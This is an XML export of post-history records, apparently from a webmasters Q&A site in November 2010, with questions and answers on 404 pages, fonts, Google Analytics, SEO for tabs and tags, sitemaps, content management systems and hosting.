  <row Id="10801" PostHistoryTypeId="1" PostId="5411" RevisionGUID="662319d9-c318-417e-b4fd-358ce8468d76" CreationDate="2010-11-12T10:33:04.717" UserDisplayName="Ari Ira Pournaras IV" Text="Is it possible to track different countries in google analytics with the same domain??" />
  <row Id="10802" PostHistoryTypeId="3" PostId="5411" RevisionGUID="662319d9-c318-417e-b4fd-358ce8468d76" CreationDate="2010-11-12T10:33:04.717" UserDisplayName="Ari Ira Pournaras IV" Text="&lt;google-analytics&gt;" />
  <row Id="10803" PostHistoryTypeId="17" PostId="5411" RevisionGUID="1eb92aee-4533-42a8-8d5f-12d90411e6b2" CreationDate="2010-11-13T12:49:23.493" UserId="-1" Comment="from http://stackoverflow.com/questions/4163715/is-it-possible-to-track-different-countries-in-google-analytics-with-the-same-dom" Text="" />
  <row Id="10804" PostHistoryTypeId="2" PostId="5412" RevisionGUID="a7602cc4-17c7-43ea-8812-7fe96dd6ca02" CreationDate="2010-11-13T12:53:32.173" UserId="3166" Text="For apache:&#xD;&#xA;&#xD;&#xA;Create a file with the name ***.htaccess*** put it in the root of your website and inside that file write:&#xD;&#xA;&#xD;&#xA;***ErrorDocument 404 /notfound.html***&#xD;&#xA;&#xD;&#xA;Instead of ***/notfound.html*** write the path to your 404 page.&#xD;&#xA;" />
  <row Id="10806" PostHistoryTypeId="2" PostId="5414" RevisionGUID="f99cdcaa-3698-4c4a-8212-0ff7012a0333" CreationDate="2010-11-13T13:28:19.173" UserId="3207" Text="Verdana is for me the most readable font. And I think serif fonts are very hard to read on screen..." />
  <row Id="10807" PostHistoryTypeId="2" PostId="5415" RevisionGUID="b33cda83-12a8-43fd-90dd-e34d4f501c28" CreationDate="2010-11-13T13:37:26.087" UserId="3207" Text="you can found here how to do what you want with Apache HTTPD:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[Custom Error Responses][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/en/custom-error.html" />
  <row Id="10808" PostHistoryTypeId="2" PostId="5416" RevisionGUID="471ace78-e052-4bdb-b857-6f1c1379f42f" CreationDate="2010-11-13T14:27:40.610" UserId="3120" Text="A few comments, echoed by other comments:&#xD;&#xA;&#xD;&#xA; 1. &quot;Readable&quot; is subjective, and depends largely on the available equipment of your target market&#xD;&#xA; 2. &quot;Usable&quot; is dependent on the OS and browser in use by your target market&#xD;&#xA; 3. &quot;Authority&quot; is... wait, what? ;)&#xD;&#xA;&#xD;&#xA;My suggestion: consider the fonts most readily available to the majority of operating systems, and the majority of browsers, and ensure your CSS/HTML allows for them, in order of preference.  Design around that." />
  <row Id="10809" PostHistoryTypeId="2" PostId="5417" RevisionGUID="9ebcb1d4-7082-4927-a4ff-0af34f562128" CreationDate="2010-11-13T16:20:49.443" UserId="2840" Text="The best is the shortest and the easiest address to be remember by your users.&#xD;&#xA;&#xD;&#xA;By my side, my favorite practice is usage of sub-domains:&#xD;&#xA;&#xD;&#xA;- undersite.parent.invalid&#xD;&#xA;- undersite2.parent.invalid&#xD;&#xA;&#xD;&#xA;BUT, a lot of users want absolutely put WWW before when I stated orally (for example, by phone), so, I always make an other sub-domains like this with redirection just for this purpose:&#xD;&#xA;&#xD;&#xA;- www.undersite.parent.invalid&#xD;&#xA;  - [303 See Other][1]: undersite.parent.invalid&#xD;&#xA;- www.undersite2.parent.invalid&#xD;&#xA;  - [303 See Other][1]: undersite2.parent.invalid&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html#sec10.3.4" />
  <row Id="10810" PostHistoryTypeId="2" PostId="5418" RevisionGUID="5b1019cc-8ee6-426a-9a9c-f2cbd171c760" CreationDate="2010-11-13T16:46:52.563" UserId="1064" Text="It sounds as though you are attempting to view purchases by origin country - Google Analytics provides this functionality with [Advanced Segments][1] so, unless you need to track &quot;site.co.uk&quot; or &quot;site.eu&quot; domain, your existing configuration should already have this information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.markcregan.com/advanced-segments-in-google-analytics-examples/" />
  <row Id="10811" PostHistoryTypeId="5" PostId="5402" RevisionGUID="7d3b05c4-6819-4fa4-984c-db78ae88223c" CreationDate="2010-11-13T16:48:10.457" UserId="1064" Comment="Updated to match parallel structure" Text="&lt;s&gt;Two&lt;/s&gt; Three things you need to look at (one related, &lt;s&gt;one&lt;/s&gt; two unrelated) from the FireFox error console&#xD;&#xA;&#xD;&#xA;&gt; (javascript) Error: uncaught&#xD;&#xA;&gt; exception: Syntax error, unrecognized&#xD;&#xA;&gt; expression:&#xD;&#xA;&#xD;&#xA;Unrelated but still worth correcting:&#xD;&#xA;&#xD;&#xA;&gt; Warning: Unexpected end of file while&#xD;&#xA;&gt; searching for selector. Source File:&#xD;&#xA;&gt; http://www.nu-living.com/ Line: 0&#xD;&#xA;&#xD;&#xA;... and:&#xD;&#xA;&#xD;&#xA;&gt; (parsing) Error: The stylesheet&#xD;&#xA;&gt; http://www.nu-living.com/css/about.css&#xD;&#xA;&gt; was not loaded because its MIME type,&#xD;&#xA;&gt; &quot;text/html&quot;, is not &quot;text/css&quot;. Source&#xD;&#xA;&gt; File:&#xD;&#xA;&gt; http://www.nu-living.com/info/search_results/?cx=017425724926122041548%253Avgp5w3d356w&amp;cof=FORID%253A9&amp;ie=UTF-8&amp;q=testing&amp;sa=Search&amp;siteurl=www.nu-living.com%252F Line: 0&#xD;&#xA;&#xD;&#xA;Also, is there a good reason you are including jQuery and related Javascript file references in the body of your HTML document?&#xD;&#xA;&#xD;&#xA;**Update:** A problem on your homepage here:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      $('#breaking-news ul').newsticker();&#xD;&#xA;      $('#slideshow').cycle();&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;You should wrap all jQuery calls in `$(document).ready(function() { /* code */ });` to ensure the DOM is ready before you change things - otherwise you'll hit a Javascript error which may prevent other scripts from running if jQuery hasn't had a chance to initialize the `$` variable.&#xD;&#xA;&#xD;&#xA;I would wager that this is what is happening with Google Custom Search - a problem with one of your other scripts is breaking script execution before the search script can run.&#xD;&#xA;&#xD;&#xA;You should debug your site to correct these problems - [FireBug][1] may help with this task.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getfirebug.com/javascript" />
  <row Id="10812" PostHistoryTypeId="2" PostId="5419" RevisionGUID="89fed292-5bca-4b4e-84ab-debf2c1adbd3" CreationDate="2010-11-13T17:17:11.367" UserId="2593" Text="I think it would depend on whether you want all of them to be carried under one brand.  &#xD;&#xA;&#xD;&#xA;From the SEO perspective, I believe that each separate URL (if you choose to create a separate one for each) will have its own ranking, so you may have to work on building rankings for all 2+ sites.  Conversely, with one URL and subfolders, you only have to work on building rank for one URL.&#xD;&#xA;&#xD;&#xA;If you have distinctly different audiences for each site, I would advise that you create different URL's.  Example:  site1.com caters to technology businesses and site2.com caters to mothers with kids.    &#xD;&#xA;&#xD;&#xA;If they are very similar audiences and you want to cross promote easily, then I would just put it under the same URL.&#xD;&#xA;&#xD;&#xA;The other thing is you can do BOTH.  Buy a domain and have it directed to the folder under the main domain, where site is located.  Or vice-versa.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10813" PostHistoryTypeId="2" PostId="5420" RevisionGUID="77449a70-e39f-49c0-bceb-edacfbdc369c" CreationDate="2010-11-13T17:26:00.910" UserId="2593" Text="This is cool:&#xD;&#xA;&#xD;&#xA;1. find a site with font you like  &#xD;&#xA;&#xD;&#xA;2. take a screenshot of it and submit it to this:  http://new.myfonts.com/WhatTheFont/&#xD;&#xA;&#xD;&#xA;3. it will try to tell you what font it is.  &#xD;&#xA;&#xD;&#xA;4. look it up on a font website and use it." />
  <row Id="10814" PostHistoryTypeId="5" PostId="5246" RevisionGUID="fa741527-c1ac-40e8-9889-b1040a16183c" CreationDate="2010-11-13T17:38:55.847" UserId="2593" Comment="deleted 89 characters in body" Text="I'm trying to figure out how/where a website gets its traffic.  How are they successful with bringing in traffic?  Via Organic, PPC, other?   What is the best approach to estimating this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My thought is to look at their top keywords from the meta tag, plug that into google keyword analysis tool to see how much traffic is generally brought to that site, and try to estimate how much of that traffic results in clicks (perhaps by using estimated PPC performance for that keyword using traffic estimation tool by google).  What do you think about this?&#xD;&#xA;&#xD;&#xA;But that would just cover traffic from google.  How about traffic from other sites like yahoo, bing, etc, etc..twitter, facebook, other links from other sites... how does one estimate this without spending days and days?  There has to be an app or easier way.  Any thoughts?  THanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10815" PostHistoryTypeId="5" PostId="5418" RevisionGUID="f1d485b3-3701-4b55-951e-c44a0ef45908" CreationDate="2010-11-13T19:20:25.663" UserId="1064" Comment="Mechanics of language correction" Text="It sounds as though you are attempting to view purchases by origin country - Google Analytics provides this functionality with [Advanced Segments][1] so, unless you need to track &quot;site.co.uk&quot; or &quot;site.eu&quot; domains, your existing configuration should already have this information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.markcregan.com/advanced-segments-in-google-analytics-examples/" />
  <row Id="10823" PostHistoryTypeId="2" PostId="5422" RevisionGUID="ec3d3aea-afe9-49e1-920d-090c14be5e33" CreationDate="2010-11-13T22:14:53.940" UserId="3214" Text="###The subdomains will not effect SEO but my concern would be managing multiple WordPress installations.&#xD;&#xA;&#xD;&#xA;&gt; What makes most sense to me with this&#xD;&#xA;&gt; setup is using multiple Wordpress&#xD;&#xA;&gt; installations, one for each subdomain,&#xD;&#xA;&gt; and interlink between them with the&#xD;&#xA;&gt; menus and trackbacks/pings.&#xD;&#xA;&#xD;&#xA;###[WordPress 3.0 allows you to create a network of sites][1] using 1 installation and 1 database. Which would solve the issue of managing mul&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Create_A_Network" />
  <row Id="10824" PostHistoryTypeId="2" PostId="5423" RevisionGUID="a239bd19-cc76-4e10-ad30-d4cebfbd958f" CreationDate="2010-11-13T23:39:19.967" UserId="711" Text="You've found the main advantage of using a text list of URLs -- it's easy to make a text-file like that on your own. However, once you go past a certain number of URLs, making it manually just isn't worth the time, and if you're going to make a Sitemap file with a tool, the simplicity of a text-file doesn't really play a role anymore. &#xD;&#xA;&#xD;&#xA;By using XML files, you gain the ability to provide more information than just URLs. For instance, you could include the last-modification date (to signal that a URL has changed), or you could even start adding other content types, such as images and videos. &#xD;&#xA;&#xD;&#xA;With a bit of practice, it's still possible to &quot;read&quot; XML files yourself. However, I wouldn't recommend making them by hand, it's just too easy to add mistakes, so if you haven't done so already, you might want to take a look at the various Sitemap generators." />
  <row Id="10825" PostHistoryTypeId="2" PostId="5424" RevisionGUID="cb520e3d-a5e0-4e90-aeef-a515e6fe174b" CreationDate="2010-11-14T02:18:16.633" UserId="1757" Text="As I understand it, Enterprise Content Management (ECM) is a system of methods and strategies relating to managing and delivering documents and content in support of a business. This obviously goes beyond what the standard CMS does in a web or intranet setting, but what functionality does a CMS need to include to support Enterprise Content Management?&#xD;&#xA;&#xD;&#xA;I know that many large organizations simply use Drupal (or even WordPress) as their CMS for their website(s). So is ECM a standalone system completely unrelated to web content management, or does a web developer need to pay care to a special set of concerns when it comes to developing or deploying a CMS for an enterprise organization?&#xD;&#xA;&#xD;&#xA;Off the top of my head, the only requirement I can think of for a CMS to support ECM is to support complex permissions and allow a large number of users to update/manage content (e.g. employees at different levels and in different branches of the company). Is there anything else that we as web developers need to keep in mind?" />
  <row Id="10826" PostHistoryTypeId="1" PostId="5424" RevisionGUID="cb520e3d-a5e0-4e90-aeef-a515e6fe174b" CreationDate="2010-11-14T02:18:16.633" UserId="1757" Text="What are the key concerns of ECM as it relates to web developers?" />
  <row Id="10827" PostHistoryTypeId="3" PostId="5424" RevisionGUID="cb520e3d-a5e0-4e90-aeef-a515e6fe174b" CreationDate="2010-11-14T02:18:16.633" UserId="1757" Text="&lt;cms&gt;" />
  <row Id="10828" PostHistoryTypeId="2" PostId="5425" RevisionGUID="9b01e558-ffcd-48a7-ab5b-98369375d4e0" CreationDate="2010-11-14T03:44:18.970" UserId="2047" Text="I'm struggling to get a design like I put in this image in CSS.&#xD;&#xA;&#xD;&#xA;I'm using wordpress, and my theme just adds a full image to the top, I would like to make the most of space.&#xD;&#xA;&#xD;&#xA;http://antinovaordemmundial.com/test/header.png&#xD;&#xA;&#xD;&#xA;I have already all the buttons as single images (at this point I prefered to not to use sprites) and each image has a light version, to show &quot;on-hover&quot;.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="10829" PostHistoryTypeId="1" PostId="5425" RevisionGUID="9b01e558-ffcd-48a7-ab5b-98369375d4e0" CreationDate="2010-11-14T03:44:18.970" UserId="2047" Text="How to use CSS to get 5 buttons aligned like this" />
  <row Id="10830" PostHistoryTypeId="3" PostId="5425" RevisionGUID="9b01e558-ffcd-48a7-ab5b-98369375d4e0" CreationDate="2010-11-14T03:44:18.970" UserId="2047" Text="&lt;css&gt;&lt;wordpress&gt;" />
  <row Id="10831" PostHistoryTypeId="2" PostId="5426" RevisionGUID="6f41d443-24b8-4e7b-99d8-4509924adb1e" CreationDate="2010-11-14T04:22:50.140" UserId="1279" Text="This is easy. A two column layout, second column (container) float right, give it a fixed with and text-align:center. Let this contain the text on top and the five buttons." />
  <row Id="10832" PostHistoryTypeId="2" PostId="5427" RevisionGUID="6dc04da6-dffd-4ebb-a689-48a8fcd7f82b" CreationDate="2010-11-14T05:51:44.000" UserId="2748" Text="Ok, I have created a demo for you Check it http://jsfiddle.net/UvGDj/" />
  <row Id="10833" PostHistoryTypeId="2" PostId="5428" RevisionGUID="fe405644-beab-4e86-bc5e-d5f2f3c308bf" CreationDate="2010-11-14T06:24:05.760" UserId="3216" Text="I don't know if it makes a difference, but looking at efreedom's page source code I noticed they're using google_ad_section_start and google_ad_section_end markers (http://www.google.com/support/adsense/bin/answer.py?hl=en&amp;answer=23168). Could this allow Google to better weigh the actual content of the site? &#xD;&#xA;&#xD;&#xA;Also, the actual content seems to be closer to the top of the page, whereas with SO there's a lot of ceremony going on before the actual content (this may not matter either, just a guess)." />
  <row Id="10834" PostHistoryTypeId="5" PostId="5428" RevisionGUID="d8851a89-0e4a-47f1-ba85-f9df784b6713" CreationDate="2010-11-14T06:33:46.310" UserId="3216" Comment="added 88 characters in body" Text="I don't know if it makes a difference, but looking at efreedom's page source code I noticed they're using google_ad_section_start and google_ad_section_end markers ([http://www.google.com/support/adsense/bin/answer.py?hl=en&amp;answer=23168][1]). Could this allow Google to better weigh the actual content of the site? &#xD;&#xA;&#xD;&#xA;Also, the actual content seems to be closer to the top of the page, whereas with SO there's a lot of ceremony going on before the actual content (this may not matter either, just a guess).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/adsense/bin/answer.py?hl=en&amp;answer=23168" />
  <row Id="10835" PostHistoryTypeId="2" PostId="5429" RevisionGUID="2ac4ceeb-596a-4866-852a-c92887c72af3" CreationDate="2010-11-14T09:47:08.010" UserId="2490" Text="I like [Arvixe][1], good service, not expensive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="10836" PostHistoryTypeId="2" PostId="5430" RevisionGUID="656d9ede-1d63-42f6-904b-358b0e43dacc" CreationDate="2010-11-14T10:54:16.317" UserId="480" Text="For ECM you'll also need to be able to create your own workflow, so for example, an article may need to go through one team into the next with check in/out points. This is the biggest difference, as in a normal web-only CMS the capture, management, storage and delivery stages have very little separation (you can do all four in one step as one person without bureaucracy).&#xD;&#xA;&#xD;&#xA;You'll also need a support contract (not aware of anything &quot;enterprise&quot; that can avoid one) as you cannot use something like this, at the size of company which counts as enterprise (usually 1000 employees and above) without making sure there are safety nets and accountability.&#xD;&#xA;&#xD;&#xA;You may also need to attach supporting documents which are never displayed, like model sign-offs against photographs used or internal documents that serve as information sources.&#xD;&#xA;&#xD;&#xA;Finally the emphasis is different. A read through [MIKE 2.0][1] will hopefully show that ECM is focussed around Knowledge Management and Archiving, rather than Blogs, Feeds, News, Product Launches and other &quot;Marketing&quot; that Drupal/Wordpress focus on.&#xD;&#xA;&#xD;&#xA;  [1]: http://mike2.openmethodology.org/" />
  <row Id="10837" PostHistoryTypeId="5" PostId="5430" RevisionGUID="30ed3745-741c-491c-a403-b9523123d67c" CreationDate="2010-11-14T11:00:29.383" UserId="480" Comment="added 113 characters in body" Text="For ECM you'll also need to be able to create your own workflow, so for example, an article may need to go through one team into the next with check in/out points. This is the biggest difference, as in a normal web-only CMS the capture, management, storage and delivery stages have very little separation (you can do all four in one step as one person without bureaucracy).&#xD;&#xA;&#xD;&#xA;You'll also need a support contract (not aware of anything &quot;enterprise&quot; that can avoid one) as you cannot use something like this, at the size of company which counts as enterprise (usually 1000 employees and above) without making sure there are safety nets and accountability.&#xD;&#xA;&#xD;&#xA;You may also need to attach supporting documents which are never displayed, like model sign-offs against photographs used or internal documents that serve as information sources.&#xD;&#xA;&#xD;&#xA;Finally the emphasis is different. A read through [MIKE 2.0][1] will hopefully show that ECM is focussed around Knowledge Management and Archiving (you have the addition of [DAM][2] for instance), rather than Blogs, Feeds, News, Product Launches and other &quot;Marketing&quot; that Drupal/Wordpress focus on.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mike2.openmethodology.org/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Digital_asset_management" />
  <row Id="10839" PostHistoryTypeId="2" PostId="5432" RevisionGUID="3c563a03-a603-41a2-8cf2-b768315f162d" CreationDate="2010-11-14T12:11:23.737" UserId="1363" Text="&#xD;&#xA;Please, do not get caught up in the whole &quot;I NEED EXCELLENT SEO SO I CAN BE SEEN!&quot; thinking pattern.&#xD;&#xA;&#xD;&#xA;I own a consulting company that specializes in SEO. Here are some things to consider regarding links:&#xD;&#xA;&#xD;&#xA;Consistency:&#xD;&#xA;The format of which the urls are written in must be consistent. For example, if you have a total of 100 pages, and the main pages are like this:&#xD;&#xA;main-page1.html, main-page2.html, main-page3.html and some are like:&#xD;&#xA;main_page.html, main-page.html, and mainpage.html, that is bad.&#xD;&#xA;&#xD;&#xA;Keep the format simple, and consistent. either use a &quot;-&quot;, or &quot;_&quot; to separate words and numbers in URL's.&#xD;&#xA;&#xD;&#xA;Usability: What's the point of indexing a site if you can't use it?&#xD;&#xA;&#xD;&#xA;Accessibility&#xD;&#xA;&#xD;&#xA;Valuable Content: This is the most important rule. If your website has nothing valuable on it, why should it be indexed? And why should people visit it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, to answer your question, what do you think would be easier for your VISITORS? Do you think it will be easier for your visitors to navigate around 5 different pages, or one page with 50 links?&#xD;&#xA;&#xD;&#xA;One page with 50 links:&#xD;&#xA;PROS:&#xD;&#xA;They're all accessible from the one page, and can be easily found if you know what you're looking for, and if the site is well-designed.&#xD;&#xA;&#xD;&#xA;CONS:&#xD;&#xA;50 is quite a big number, especially when we're talking links.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;5 Pages with 10 links:&#xD;&#xA;PROS:&#xD;&#xA;There won't be any pages that's jam-packed full of links. And it may be easier to navigate around 5 pages, than simply displaying all 50 links on a single page.&#xD;&#xA;&#xD;&#xA;CONS:&#xD;&#xA;If these links are not all related to each other, it can lower your pages relevancy. It could also prove to be very annoying if you have to click through to various pages just to find the one you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Conclusion:&#xD;&#xA;Have you thought about a multi-level drop-down navigation menu just for these links, devided into categories and sub-categories, if applicable? That way, it can all be on the one page, and still be easy to find." />
  <row Id="10843" PostHistoryTypeId="2" PostId="5435" RevisionGUID="3cbe4aa7-dc9a-42ae-a76e-c88209a9a950" CreationDate="2010-11-14T11:43:04.070" UserDisplayName="Pumbaa80" Text="Hide your tabs using JavaScript, just like http://validator.w3.org/ does. This is also a great way to make sure your site is accessible to users with JS turned off." />
  <row Id="10844" PostHistoryTypeId="2" PostId="5433" RevisionGUID="14771038-a309-4e1a-bce5-7196f170854d" CreationDate="2010-11-14T10:57:41.993" UserDisplayName="hd" Text="my customers are eager in showing news categorized in tabs and i recently developed it for them.&#xD;&#xA;as my experience in web designing display:none is used widely in implementing tabs.&#xD;&#xA;and as i know it is not good for SEO of site.&#xD;&#xA;&#xD;&#xA;is there any way to have tabs but without hurting SEO factors?&#xD;&#xA;" />
  <row Id="10845" PostHistoryTypeId="1" PostId="5433" RevisionGUID="14771038-a309-4e1a-bce5-7196f170854d" CreationDate="2010-11-14T10:57:41.993" UserDisplayName="hd" Text="tabs and seo issue" />
  <row Id="10846" PostHistoryTypeId="3" PostId="5433" RevisionGUID="14771038-a309-4e1a-bce5-7196f170854d" CreationDate="2010-11-14T10:57:41.993" UserDisplayName="hd" Text="&lt;css&gt;&lt;seo&gt;" />
  <row Id="10847" PostHistoryTypeId="17" PostId="5433" RevisionGUID="622b2f7d-7eb3-4f28-ab2d-6f42a5ee1093" CreationDate="2010-11-14T12:54:03.787" UserId="-1" Comment="from http://stackoverflow.com/questions/4177179/tabs-and-seo-issue" Text="" />
  <row Id="10850" PostHistoryTypeId="2" PostId="5436" RevisionGUID="69de80c0-e316-4d16-9dbf-2579d6885322" CreationDate="2010-11-14T15:04:44.960" UserId="1253" Text="Who said display:none is bad for SEO? That sounds like a myth to me. There are lots of legitimate reasons for using display:none and as always it's not the technique but the intent. Using display:none for style purposes is perfectly fine.&#xD;&#xA;&#xD;&#xA;As mentioned by Pumbaa80 you'll almost certainly want to take advantage of JavaScript for this. Have all of the tabs displayed by default - this allows users who don't have JavaScript turned on to view the content. Then use JavaScript to hide the tabs except for the default one when the page loads. JavaScript will also be used to show and hide tabs as the user clicks on a tab. This is 100% search engine and user friendly." />
  <row Id="10851" PostHistoryTypeId="5" PostId="5436" RevisionGUID="9cbc1acc-9056-46ef-9dde-2b4da0cc9be9" CreationDate="2010-11-14T15:13:41.460" UserId="1253" Comment="added 102 characters in body" Text="Who said display:none is bad for SEO? That sounds like a myth to me. There are lots of legitimate reasons for using display:none and as always it's not the technique but the intent. Using display:none for style purposes is perfectly fine.&#xD;&#xA;&#xD;&#xA;As mentioned by Pumbaa80 you'll almost certainly want to take advantage of JavaScript for this. Have all of the tabs available using regular links (reload the page to show the proper tab). This allows users who don't have JavaScript turned on to view the content. Then use JavaScript to hide the tabs except for the default one when the page loads. JavaScript will also be used to show and hide tabs as the user clicks on a tab and cancel the page load when they click on the link. This is 100% search engine and user friendly." />
  <row Id="10852" PostHistoryTypeId="2" PostId="5437" RevisionGUID="79aac5b5-eab9-4981-9edf-4c25bb7318cf" CreationDate="2010-11-14T17:11:29.153" UserId="1837" Text="Tagging content (i.e. categorizing content using &quot;tags&quot;) is a sensible way to group content on a web site, but does tagging actually affect SEO?&#xD;&#xA;&#xD;&#xA;From an SEO standpoint, how does tagging content affect search ranking? Is there any way to optimize the set of tags for SEO? Should I limit the number of tags in any way?" />
  <row Id="10853" PostHistoryTypeId="1" PostId="5437" RevisionGUID="79aac5b5-eab9-4981-9edf-4c25bb7318cf" CreationDate="2010-11-14T17:11:29.153" UserId="1837" Text="Does tagging content affect SEO?" />
  <row Id="10854" PostHistoryTypeId="3" PostId="5437" RevisionGUID="79aac5b5-eab9-4981-9edf-4c25bb7318cf" CreationDate="2010-11-14T17:11:29.153" UserId="1837" Text="&lt;seo&gt;&lt;content&gt;&lt;tags&gt;" />
  <row Id="10855" PostHistoryTypeId="2" PostId="5438" RevisionGUID="cd8c9a3d-2302-43f6-b760-c93895e968eb" CreationDate="2010-11-14T17:39:02.100" UserId="3220" Text="I have a site with PDFs and Word documents that I know have been indexed by Google because they appear in search results with filetype:pdf (or doc), and if I search for some very specific terms with quotation marks, they appear as well. But they don't appear for general search terms that do exist in the documents.&#xD;&#xA;&#xD;&#xA;Is Google a reliable document search engine? If not, are there other options for managing many documents and making them searchable to users?" />
  <row Id="10856" PostHistoryTypeId="1" PostId="5438" RevisionGUID="cd8c9a3d-2302-43f6-b760-c93895e968eb" CreationDate="2010-11-14T17:39:02.100" UserId="3220" Text="Is Google a reliable document search engine?" />
  <row Id="10857" PostHistoryTypeId="3" PostId="5438" RevisionGUID="cd8c9a3d-2302-43f6-b760-c93895e968eb" CreationDate="2010-11-14T17:39:02.100" UserId="3220" Text="&lt;google&gt;&lt;search-engines&gt;&lt;search&gt;&lt;pdf&gt;" />
  <row Id="10858" PostHistoryTypeId="2" PostId="5439" RevisionGUID="d90bf14d-0178-4976-aac1-4cff41794515" CreationDate="2010-11-14T17:42:03.407" UserDisplayName="kari_kari" Text="i need a good service so i can see how many visitors are online on my website. I need a good, reliable service that can handle high-traffic. (My hand-written script failed in the high-traffic peak hours!)&#xD;&#xA;&#xD;&#xA;Thank you!&#xD;&#xA;&#xD;&#xA;p.s. i need a good reliable service, i dont care if it is free or paid. i just need to have reliable data! thank you!" />
  <row Id="10859" PostHistoryTypeId="1" PostId="5439" RevisionGUID="d90bf14d-0178-4976-aac1-4cff41794515" CreationDate="2010-11-14T17:42:03.407" UserDisplayName="kari_kari" Text="How to track how many users are online" />
  <row Id="10860" PostHistoryTypeId="3" PostId="5439" RevisionGUID="d90bf14d-0178-4976-aac1-4cff41794515" CreationDate="2010-11-14T17:42:03.407" UserDisplayName="kari_kari" Text="&lt;visitors&gt;" />
  <row Id="10861" PostHistoryTypeId="2" PostId="5440" RevisionGUID="2af63cb4-7e01-4656-aa0e-f699057e3077" CreationDate="2010-11-14T17:47:12.620" UserId="1253" Text="The tags won't affect the pages directly by being on that page (although I am sure someone will say having the tag will increase your keyword density but I wouldn't even give too much thought to that). So adding tags in the hopes that they are directly a ranking factor would not be a good use of time.&#xD;&#xA;&#xD;&#xA;How it can help SEO is when you have a dedicated page(s) for each tag that page will be naturally optimized for that keyword. That page will (theoretically) potentially rank well for it. That page can then drive traffic and potential link givers to pages tagged with that keyword. Also, the interlinkng by your pages will help to increase each page's PR as well as boost each other's rankings due to the advantages of anchor text and everything else incoming links have to offer. (Yes, internal links are very good to have. Just ask Wikipedia)." />
  <row Id="10862" PostHistoryTypeId="2" PostId="5441" RevisionGUID="bd0ef328-fc95-4c83-8500-2f1528d76c2a" CreationDate="2010-11-14T18:38:03.773" UserId="3070" Text="Anyone know url of free java hosting? Thanks!" />
  <row Id="10863" PostHistoryTypeId="1" PostId="5441" RevisionGUID="bd0ef328-fc95-4c83-8500-2f1528d76c2a" CreationDate="2010-11-14T18:38:03.773" UserId="3070" Text="Free java hosting?" />
  <row Id="10864" PostHistoryTypeId="3" PostId="5441" RevisionGUID="bd0ef328-fc95-4c83-8500-2f1528d76c2a" CreationDate="2010-11-14T18:38:03.773" UserId="3070" Text="&lt;web-hosting&gt;" />
  <row Id="10870" PostHistoryTypeId="2" PostId="5443" RevisionGUID="691ee1d7-d29c-4eaf-8604-731634d057bc" CreationDate="2010-11-14T20:13:28.733" UserId="2840" Text="- [Free JSP and Servlet Hosting Directory][1]&#xD;&#xA;- [EATJ][2]&#xD;&#xA;- [Google App Engine][3]&#xD;&#xA;&#xD;&#xA;I hop it will help you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oinko.net/freejsp/&#xD;&#xA;  [2]: http://www.eatj.com/&#xD;&#xA;  [3]: http://code.google.com/appengine/" />
  <row Id="10871" PostHistoryTypeId="2" PostId="5444" RevisionGUID="018c6377-cb4e-40b4-9502-e83a19d0bc06" CreationDate="2010-11-14T20:15:22.523" UserId="879" Text="Right now I am using OpenX. But over the years it got more and more bloated. I barely use 10% of its functionality. What are the alternatives and what is it that makes them good?&#xD;&#xA;&#xD;&#xA;I need:&#xD;&#xA;&#xD;&#xA;- image banners&#xD;&#xA;- html banners&#xD;&#xA;- stats on impressions and clicks&#xD;&#xA;- even distribution of booked impressions over the booked time (like max 10000 impressions per day for 10 days)&#xD;&#xA;- weekly stats per email (for admin and for customer)&#xD;&#xA;&#xD;&#xA;Please list one ad server per answer for easier ranking..." />
  <row Id="10872" PostHistoryTypeId="1" PostId="5444" RevisionGUID="018c6377-cb4e-40b4-9502-e83a19d0bc06" CreationDate="2010-11-14T20:15:22.523" UserId="879" Text="What is a good, free ad server?" />
  <row Id="10873" PostHistoryTypeId="3" PostId="5444" RevisionGUID="018c6377-cb4e-40b4-9502-e83a19d0bc06" CreationDate="2010-11-14T20:15:22.523" UserId="879" Text="&lt;advertising&gt;&lt;banners&gt;" />
  <row Id="10874" PostHistoryTypeId="2" PostId="5445" RevisionGUID="5abd1899-d97d-4d26-ba13-b6d54c9087ea" CreationDate="2010-11-14T20:20:18.043" UserId="2840" Text="What about [Google AdWords][1] ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://adwords.google.com/support/aw/bin/answer.py?hl=en&amp;answer=97526" />
  <row Id="10875" PostHistoryTypeId="2" PostId="5446" RevisionGUID="ab732ee4-f32e-41a0-86ee-d93c4d2eeeaa" CreationDate="2010-11-14T20:24:03.767" UserId="2840" Text="I like [Cliky][1], who is pretty interesting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getclicky.com/66351581" />
